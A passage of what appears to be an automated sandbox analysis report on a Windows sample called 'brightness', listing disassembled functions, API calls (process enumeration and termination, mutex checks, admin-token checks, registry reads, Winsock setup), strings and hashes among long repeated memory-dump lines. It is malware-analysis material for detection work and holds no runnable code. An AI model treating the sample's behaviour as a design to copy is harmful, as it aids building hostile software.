Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: InfoLocale___crt_memsetclosesocketsetsockoptshutdown
String ID: $#
API String ID: 2801799075-2491617062
Opcode ID: f61012a9fd58978c94bf0c03b13ed21d59f9724ce4eee06062c61807cc99076b
Instruction ID: 9d5a30df150bf5815eddbd1ab9d778f304e3994e5028e3a8801994079bade52c
Opcode Fuzzy Hash: f61012a9fd58978c94bf0c03b13ed21d59f9724ce4eee06062c61807cc99076b
Instruction Fuzzy Hash: 688118B090421DDFEB24DF50D949BEEBBB5FB44304F2082E9D5486B281D7B65A88CF51

Function 002D69F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 115networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000002,?), ref: 002D6B73

Part of subcall function 002DC3A0: AllocateAndInitializeSid.ADVAPI32(00000000,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 002DC3DB
Part of subcall function 002DC3A0: CheckTokenMembership.ADVAPI32(00000000,?,00000000), ref: 002DC3F4
Part of subcall function 002DC3A0: FreeSid.ADVAPI32(?), ref: 002DC409

WSACleanup.WS2_32 ref: 002D6BCA

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

_memset.LIBCMT ref: 002D6A7A
__snwprintf.LIBCMT ref: 002D6A9F

Part of subcall function 002CA680: _memset.LIBCMT ref: 002CA6BF
Part of subcall function 002CA680: _memset.LIBCMT ref: 002CA70A
Part of subcall function 002CA680: CoInitializeEx.COMBASE(00000000,00000000), ref: 002CA754

LocalFree.KERNEL32(00000000), ref: 002D6AD9

Strings

"%s%s", xrefs: 002D6A8E
{5EED0EA3-A73E-442A-9D20-84320F1AFCBA}, xrefs: 002D6ABE

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Free_memset$InitializeLocal__snwprintf$AllocAllocateCheckCleanupFolderKnownMembershipPathStartupTaskToken
String ID: "%s%s"${5EED0EA3-A73E-442A-9D20-84320F1AFCBA}
API String ID: 839979059-1931007831
Opcode ID: 75f3473996b313f4bb43a882232f1da88af096d0182affd56f065509fecf6e41
Instruction ID: 6c40d038db95c282f8416d179b39f8b5cbccc82c2f01f3f2e07ebf24039c5d84
Opcode Fuzzy Hash: 75f3473996b313f4bb43a882232f1da88af096d0182affd56f065509fecf6e41
Instruction Fuzzy Hash: 8441E830AB0314AAE7219F60DC8FFA63368A715B09F50445BF2487A2D0E6F45DA4CF15

Function 002E8307 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 002E83CD

Strings

FlsSetValue, xrefs: 002E8340
FlsFree, xrefs: 002E834D
FlsAlloc, xrefs: 002E832B
KERNEL32.DLL, xrefs: 002E830A
FlsGetValue, xrefs: 002E8333

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: __init_pointers
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3952806059-3819984048
Opcode ID: d2410cd0db34e62483e47a17af3afa842f65e6e7ea85995bd300be8b0d55aeca
Instruction ID: f49b7adc470297c05dbddb3e7bee4c11ed124dd520d6d308b52773fde0c14fd2
Opcode Fuzzy Hash: d2410cd0db34e62483e47a17af3afa842f65e6e7ea85995bd300be8b0d55aeca
Instruction Fuzzy Hash: B231E5719A43459AC7126F77BC8AA263FA8EB41760FD0062AE5ACD32F0DF319421CF50

Function 002C2490 Relevance: 10.6, APIs: 7, Instructions: 68processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002C24A4
Process32FirstW.KERNEL32(00000000,0000022C), ref: 002C24CC
OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 002C253C
TerminateProcess.KERNEL32(00000000,00000000), ref: 002C255A
CloseHandle.KERNEL32(00000000), ref: 002C2567
Process32NextW.KERNEL32(00000000,0000022C), ref: 002C257F
CloseHandle.KERNEL32(00000000), ref: 002C2591

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d1cfc4c448a6ff32506d86329db340f918f4fa951d582b19faa5bdfb70e2cac4
Instruction ID: fef8a49d62939234b862f19d5437f0102eef8e4614b4440433c8563d0117ffcc
Opcode Fuzzy Hash: d1cfc4c448a6ff32506d86329db340f918f4fa951d582b19faa5bdfb70e2cac4
Instruction Fuzzy Hash: 5A213971921218DBDB28DF60DC9CFAABB78FB44700F604298E109A6290CB789F84CF50

Function 002C1900 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000), ref: 002C19D2
OpenMutexW.KERNEL32(00100000,00000000,{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}), ref: 002C19EB
WaitForSingleObject.KERNEL32(000003A0,0000000A), ref: 002C1A08
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 002C1C2B
ExitProcess.KERNEL32 ref: 002C1C4A

Strings

{116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}, xrefs: 002C19DF

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$ExitMutexOpenProcess
String ID: {116CB32B-CA1E-4E75-8750-5F8DFAEAF5A6}
API String ID: 908204964-2441466998
Opcode ID: 5d5a62faaf986bfaf5b61da2279e1b14396897b016bc54046c700ae9daa67d8b
Instruction ID: 6fa93e2fddcda26b0cee73ecc6fb16b0fa080592d871679386396c593a51190a
Opcode Fuzzy Hash: 5d5a62faaf986bfaf5b61da2279e1b14396897b016bc54046c700ae9daa67d8b
Instruction Fuzzy Hash: 312162B0920115DFCB25DF54DDC6FD873BAAB86304F20469AF24DA2152CBB49AE4CF11

Function 002CA0F0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62registrymemoryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 002CA113
RegGetValueW.ADVAPI32(80000001,?,-00008688,00000008,00000000,00000000,00000000), ref: 002CA148
LocalAlloc.KERNEL32(00000040,00000000), ref: 002CA158
RegGetValueW.ADVAPI32(80000001,?,-00008688,00000008,00000000,00000000,00000000), ref: 002CA189
LocalFree.KERNEL32(00000000), ref: 002CA1A4

Strings

SOFTWARE\%s, xrefs: 002CA102

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: LocalValue$AllocFree__snwprintf
String ID: SOFTWARE\%s
API String ID: 297434584-297323700
Opcode ID: a887ee87592b8511c30fb03c8d51c1da4e02c826ea527df4d6ab321eddd359eb
Instruction ID: dd948f3a73805074d96bf54a22aa6e7916e69f5aeb4638ba68a9e0e84217dc98
Opcode Fuzzy Hash: a887ee87592b8511c30fb03c8d51c1da4e02c826ea527df4d6ab321eddd359eb
Instruction Fuzzy Hash: 8321427165010CFFE714CF94CC89FEEB7B8EB44704F548158BA09AB280D6B1AE54CBA4

Function 002D0010 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,002D6B10,00331178,002D6B10), ref: 002D0023
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D0034
wnsprintfW.SHLWAPI ref: 002D005F
CoTaskMemFree.COMBASE(?), ref: 002D007F
CoTaskMemFree.COMBASE(?), ref: 002D008E

Strings

%s\%s, xrefs: 002D0051

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
